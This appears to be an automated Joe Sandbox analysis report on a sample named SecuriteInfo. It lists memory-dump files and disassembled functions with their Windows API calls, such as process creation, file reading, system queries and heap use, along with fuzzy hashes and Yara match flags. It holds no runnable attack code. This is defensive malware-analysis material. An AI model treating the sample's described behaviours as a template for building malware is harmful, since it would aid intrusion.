Associated: 00000000.00000002.2083915337.0000000000BAF000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000BB4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000BB9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000BBE000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000BC3000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000BC8000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000BCD000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000BD2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000BD7000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000BDC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000BE1000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000BE6000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000BEB000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000BF0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000BF5000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000BFA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000BFF000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000C04000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000C09000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000C0E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000C13000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000C18000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000C1D000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000C22000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000C27000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000C2C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000C31000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000C36000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000C3B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000C40000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000C45000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000C4A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000C4F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000C54000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000C59000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000C5E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000C63000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000C68000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000C6D000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000C72000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000C77000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000C7C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000C81000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000C86000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000C8B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000C90000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000C95000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000C9A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000C9F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000CA4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000CA9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000CAE000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000CB3000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000CB8000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000CBD000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000CC2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000CC7000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000CCC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000CD1000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000CD6000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000CDB000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000CE0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000CE5000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000CEA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000CEF000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000CF4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000CF9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000CFE000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000D03000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000D08000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000D0D000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000D12000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000D17000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000D1C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000D21000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000D26000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000D2B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000D30000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000D35000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000D3A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000D3F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000D44000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000D49000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000D4E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000D53000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000D58000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000D5D000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000D62000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000D67000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000D6C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000D71000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000D76000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000D7B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000D80000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000D85000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000D8A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000D8F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000D94000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000D99000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000D9E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000DA3000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000DA8000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000DAD000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000DB2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000DB7000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000DBC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000DC1000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000DC6000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000DCB000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000DD0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000DD5000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000DDA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000DDF000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000DE4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000DE9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000DEE000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000DF3000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000DF8000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000DFD000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000E02000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000E07000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000E0C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000E11000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000E16000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000E1B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000E1E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000E2A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083915337.0000000000E35000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2106784015.0000000000E38000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 876d08fad5b1c7b2c341605c10c92823405578050f821ebaedbe3a2f1dbf7bde
Instruction ID: e3bbf73278c57691bb980813b112734835fa043ae76f6bbd17b9789a6fb347bc
Opcode Fuzzy Hash: 876d08fad5b1c7b2c341605c10c92823405578050f821ebaedbe3a2f1dbf7bde
Instruction Fuzzy Hash: 2F72BC316083558FD724CF28C88426ABBE1FF89384F159A2DE9D59B390E331D949CF82

Function 02B0BD21 Relevance: 1.6, APIs: 1, Instructions: 118
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2107081174.0000000002B00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B00000, based on PE: true

Associated: 00000000.00000002.2107081174.0000000002B1B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2107081174.0000000002B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b00000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 894de209d76495d0f5cc8f8e0a1a86a139c1016052b637e53c7eb521a2b0c92a
Instruction ID: aab4a992a6781d52815f0ca58af588f9c6bf1f7666dc1648fd6d2cdd9828dd04
Opcode Fuzzy Hash: 894de209d76495d0f5cc8f8e0a1a86a139c1016052b637e53c7eb521a2b0c92a
Instruction Fuzzy Hash: 68414B75600209DFCB05DF58C880EAABBB5FF48314F10869AEA45AB3A1C331ED41DF90

Function 02B78759 Relevance: 1.6, APIs: 1, Instructions: 100
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtQuerySystemInformation.NTDLL(00000003,00000000,0000001C,?), ref: 02B787EC

Memory Dump Source

Source File: 00000000.00000002.2107192469.0000000002B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B70000, based on PE: true

Associated: 00000000.00000002.2107192469.0000000002C27000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b70000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: InformationQuerySystem
String ID:
API String ID: 3562636166-0
Opcode ID: 8d58411b824da9dfd14f9daee0a754a1fd8d46fda820fb02865a42f4b75dcb1f
Instruction ID: 85d9e6ebb395a3f14258150c46e1bdc677504699cf2302c2da2b0730eed597a0
Opcode Fuzzy Hash: 8d58411b824da9dfd14f9daee0a754a1fd8d46fda820fb02865a42f4b75dcb1f
Instruction Fuzzy Hash: 0241A1B1D04209EBDF00DFD4D898BEEBBB5FB08300F2085A9D525B6290D7795A54EBA1

Function 02B0D740 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 25
memorywindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 02B0D749
RtlAllocateHeap.NTDLL(01060000,00000008,?), ref: 02B0D75D
MessageBoxA.USER32(00000000,02B18AE8,error,00000010), ref: 02B0D776

Strings

error, xrefs: 02B0D76B

Memory Dump Source

Source File: 00000000.00000002.2107081174.0000000002B00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B00000, based on PE: true

Associated: 00000000.00000002.2107081174.0000000002B1B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2107081174.0000000002B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b00000_SecuriteInfo.jbxd

Similarity

API ID: Heap$AllocateMessageProcess
String ID: error
API String ID: 2992861138-1574812785
Opcode ID: 28842a19becc2c98638bf058ebcb333e5c146fb6f193076d694e6ffc61237ffb
Instruction ID: 2726d3c5e387897c4f1ecb7d0f42841317d1836099dfd138c95a0211a0b63057
Opcode Fuzzy Hash: 28842a19becc2c98638bf058ebcb333e5c146fb6f193076d694e6ffc61237ffb
Instruction Fuzzy Hash: ADE04872FC07116BF6229BA4AC4DF577AA8EB04795F410D54F549D31C0EBB09C14D791

Function 02BB4EA0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 25
memorywindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(02BB515F,00000001), ref: 02BB4EA9
RtlAllocateHeap.NTDLL(01060000,00000000,00000001,02BC622B,02BB515F,00000001), ref: 02BB4EBD
MessageBoxA.USER32(00000000,02C0FCF4,error,00000010), ref: 02BB4ED6

Strings

error, xrefs: 02BB4ECB

Memory Dump Source

Source File: 00000000.00000002.2107192469.0000000002B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B70000, based on PE: true

Associated: 00000000.00000002.2107192469.0000000002C27000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b70000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Heap$AllocateMessageProcess
String ID: error
API String ID: 2992861138-1574812785
Opcode ID: a3ef29a3c88232b6916225107c29c874c67d6ead3765e7e7c29aa26ec291d6e3
Instruction ID: f416cd1fa7dfed5fd4c2250eeeada19692ff311d204d942185ff3eae06d04515
Opcode Fuzzy Hash: a3ef29a3c88232b6916225107c29c874c67d6ead3765e7e7c29aa26ec291d6e3
Instruction Fuzzy Hash: 09E0D879F813316BE6369BA0BC1EF9736ACBF08650F004994FA45D3240DBE1D8508B50

Function 02B0DAB0 Relevance: 6.0, APIs: 4, Instructions: 43
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(?,80000000,00000003,00000000,00000003,00000020,00000000,?,02B01119,00000001), ref: 02B0DAC5
GetFileSize.KERNEL32(00000000,?,?,00000268,?,02B01119,00000001), ref: 02B0DADC

Part of subcall function 02B0D790: GetProcessHeap.KERNEL32(02B0EB27,00000008,?,?,02B0DE78,00000008,00000000,02B01936,00000002,00000000,00000000,80000005,00000000,00000000,80000301), ref: 02B0D799
Part of subcall function 02B0D790: RtlAllocateHeap.NTDLL(01060000,00000000,80000301), ref: 02B0D7AD
Part of subcall function 02B0D790: MessageBoxA.USER32(00000000,02B18AE8,error,00000010), ref: 02B0D7C6

ReadFile.KERNELBASE(00000000,00000008,00000000,?,00000000), ref: 02B0DB08
CloseHandle.KERNELBASE(00000000), ref: 02B0DB0F

Memory Dump Source

Source File: 00000000.00000002.2107081174.0000000002B00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B00000, based on PE: true

Associated: 00000000.00000002.2107081174.0000000002B1B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2107081174.0000000002B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b00000_SecuriteInfo.jbxd

Similarity

API ID: File$Heap$AllocateCloseCreateHandleMessageProcessReadSize
String ID:
API String ID: 749537981-0
Opcode ID: 0dd01ffac477e41cadd810b06977c305c005f3666d134f235428f45750eafe0a
Instruction ID: 09b39a32562f3fd662e9a37d4255b152435c2e2e4b6e6ace456a0c1dfba3d653
Opcode Fuzzy Hash: 0dd01ffac477e41cadd810b06977c305c005f3666d134f235428f45750eafe0a
Instruction Fuzzy Hash: D0F044766403007BD3219B64EC8DF9BB7ACEB84B50F104A5DF616971C0EB74A5448761

Function 02BB5220 Relevance: 6.0, APIs: 4, Instructions: 43
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(00000000,80000000,00000003,00000000,00000003,00000020,00000000,?,02B7FB0C,00000001,?,00000000,80000004,?,?,00000000), ref: 02BB5235
GetFileSize.KERNEL32(00000000,00000001,?,00000268,?,02B7FB0C,00000001,?,00000000,80000004,?,?,00000000,00000000,?,?), ref: 02BB524C

Part of subcall function 02BB4EA0: GetProcessHeap.KERNEL32(02BB515F,00000001), ref: 02BB4EA9
Part of subcall function 02BB4EA0: RtlAllocateHeap.NTDLL(01060000,00000000,00000001,02BC622B,02BB515F,00000001), ref: 02BB4EBD
Part of subcall function 02BB4EA0: MessageBoxA.USER32(00000000,02C0FCF4,error,00000010), ref: 02BB4ED6

ReadFile.KERNELBASE(00000000,00000008,00000000,?,00000000,80000004,?,?,00000000,00000000,?,?,00000000,00000000), ref: 02BB5278
CloseHandle.KERNELBASE(00000000,?,?,00000000,00000000,?,?,00000000,00000000), ref: 02BB527F

Memory Dump Source

Source File: 00000000.00000002.2107192469.0000000002B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B70000, based on PE: true

Associated: 00000000.00000002.2107192469.0000000002C27000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b70000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: File$Heap$AllocateCloseCreateHandleMessageProcessReadSize
String ID:
API String ID: 749537981-0
Opcode ID: b644340b26ba7d6d3f6feca7283e16c73929bb2abcdb70b27d444362e19c3f58
Instruction ID: 7371faf79142e3393b29e88018994a4da83b792de247227a6494f95659b87f6f
Opcode Fuzzy Hash: b644340b26ba7d6d3f6feca7283e16c73929bb2abcdb70b27d444362e19c3f58
Instruction Fuzzy Hash: 86F04977A403017BD3219F64EC89FD776ACEB48B60F104A5DF656D71C0E6B0A5448761

Function 02B7DA58 Relevance: 4.8, APIs: 3, Instructions: 295
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,00000000,00000000,00000000,00000000,00000000,?,00000000), ref: 02B7DC4A
CloseHandle.KERNEL32(?,00000000), ref: 02B7DD3C
CloseHandle.KERNEL32(?), ref: 02B7DD56

Memory Dump Source

Source File: 00000000.00000002.2107192469.0000000002B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B70000, based on PE: true

Associated: 00000000.00000002.2107192469.0000000002C27000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b70000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: CloseHandle$CreateProcess
String ID:
API String ID: 2922976086-0
Opcode ID: 95365e3ade90625daf49535c8e2ed66dbf8d008fe6d7adeb909b41efb531baa6
Instruction ID: 93d9c9c001e58417ecfde16d25599fa858f8d03bcaae00bbf1eb67d250748be3
Opcode Fuzzy Hash: 95365e3ade90625daf49535c8e2ed66dbf8d008fe6d7adeb909b41efb531baa6
Instruction Fuzzy Hash: 9CA183F1A812969BEF00CF58DCC0B9577E5EF69324B2914A0E946AF304D378F961DB21

Function 02B78C9C Relevance: 4.8, APIs: 3, Instructions: 277
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SHGetSpecialFolderPathW.SHELL32(00000000,00000000,00000000,00000000,00000000,00000208), ref: 02B78D24
lstrlenW.KERNEL32(00000000), ref: 02B78D48

Memory Dump Source

Source File: 00000000.00000002.2107192469.0000000002B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B70000, based on PE: true

Associated: 00000000.00000002.2107192469.0000000002C27000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b70000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: FolderPathSpeciallstrlen
String ID:
API String ID: 4209730860-0
Opcode ID: 652dea1c9e48631fd3a15ba82e3e2cfb89263fae3b95cc2eb7c1c99169c4aaf8
Instruction ID: 61cf7702aa4e921a71ee938d6deb6dffaf79dc679daf9c08998f1732d3052b6a
Opcode Fuzzy Hash: 652dea1c9e48631fd3a15ba82e3e2cfb89263fae3b95cc2eb7c1c99169c4aaf8
Instruction Fuzzy Hash: 07A16E71E00609EBDF10EFA4D888BEEBBB9FF08304F1484E5E565B6140DB758A64DB50

Function 02B0FE0E Relevance: 3.0, APIs: 2, Instructions: 30
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000,02B0ED8F,00000001), ref: 02B0FE1F

Part of subcall function 02B0FCC6: GetVersionExA.KERNEL32 ref: 02B0FCE5

HeapDestroy.KERNEL32 ref: 02B0FE5E

Part of subcall function 02B10F8F: RtlAllocateHeap.NTDLL(00000000,00000140,02B0FE47), ref: 02B10F9C

Memory Dump Source

Source File: 00000000.00000002.2107081174.0000000002B00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B00000, based on PE: true

Associated: 00000000.00000002.2107081174.0000000002B1B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2107081174.0000000002B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b00000_SecuriteInfo.jbxd

Similarity

API ID: Heap$AllocateCreateDestroyVersion
String ID:
API String ID: 760317429-0
Opcode ID: 44ed18ae3c49d07f4b52ece08ed954a81ef741131d6116b6c7612cbdedd09014
Instruction ID: c02119f00ab5dbd140093f35fece3c1a09abedba34463fce47561fe5e91ab466
Opcode Fuzzy Hash: 44ed18ae3c49d07f4b52ece08ed954a81ef741131d6116b6c7612cbdedd09014
Instruction Fuzzy Hash: 40F09270F953029EEF32AB70A88573A3E91DB00BD2F504CB6F50CCA5C0EF6090D09A11

Function 02B0D850 Relevance: 3.0, APIs: 2, Instructions: 24
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

IsBadReadPtr.KERNEL32(?,00000008), ref: 02B0D87E
RtlFreeHeap.NTDLL(01060000,00000000,?), ref: 02B0D890

Part of subcall function 02B0D5F0: GetModuleHandleA.KERNEL32(02B00000,02B0D8C6,00000000,?,00000000,02B03346,00000004,02B187D5), ref: 02B0D5FA

Memory Dump Source

Source File: 00000000.00000002.2107081174.0000000002B00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B00000, based on PE: true

Associated: 00000000.00000002.2107081174.0000000002B1B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2107081174.0000000002B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b00000_SecuriteInfo.jbxd

Similarity

API ID: FreeHandleHeapModuleRead
String ID:
API String ID: 627478288-0
Opcode ID: b4f66463e681eb34b893602a43a493f973594e873fe5e618ef910ffb6c17ea5b
Instruction ID: 94d1c09521abd524bcb3ea1a22e0f4c66bb9ddd09590b41a9b3fc7f9df3e9ab4
Opcode Fuzzy Hash: b4f66463e681eb34b893602a43a493f973594e873fe5e618ef910ffb6c17ea5b
Instruction Fuzzy Hash: 1CE09B72D41322DBD6315AB4E48475AFB68EB05BC5B444CA1F544E31C0D760B81047D4

Function 02BB4F60 Relevance: 3.0, APIs: 2, Instructions: 24
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

IsBadReadPtr.KERNEL32(?,00000008), ref: 02BB4F8E
RtlFreeHeap.NTDLL(01060000,00000000,?), ref: 02BB4FA0

Part of subcall function 02BB4D00: GetModuleHandleA.KERNEL32(02B70000,02BB4FD6,?,?,?,02B7A4E7,00000001,?,?,?,00000000), ref: 02BB4D0A

Memory Dump Source

Source File: 00000000.00000002.2107192469.0000000002B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B70000, based on PE: true

Associated: 00000000.00000002.2107192469.0000000002C27000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b70000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: FreeHandleHeapModuleRead
String ID:
API String ID: 627478288-0
Opcode ID: a04b2891ef1bb124ed4677ac21d397b15607a279ec8b343d48bcf29c4ce15032
Instruction ID: 72ac09cbe1256adf08724ab05fa359b1f666d799ee4b6c9e92c698ebc60a8672
Opcode Fuzzy Hash: a04b2891ef1bb124ed4677ac21d397b15607a279ec8b343d48bcf29c4ce15032
Instruction Fuzzy Hash: E5E09271E84111ABDB329A58F418FFE37BCFF063D0B0548A1F58C93001C3B458548B91

Function 02BB4CB0 Relevance: 2.5, APIs: 2, Instructions: 21
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(02C322FF), ref: 02BB4CB0
CoInitialize.OLE32(00000000), ref: 02BB4CBD

Memory Dump Source

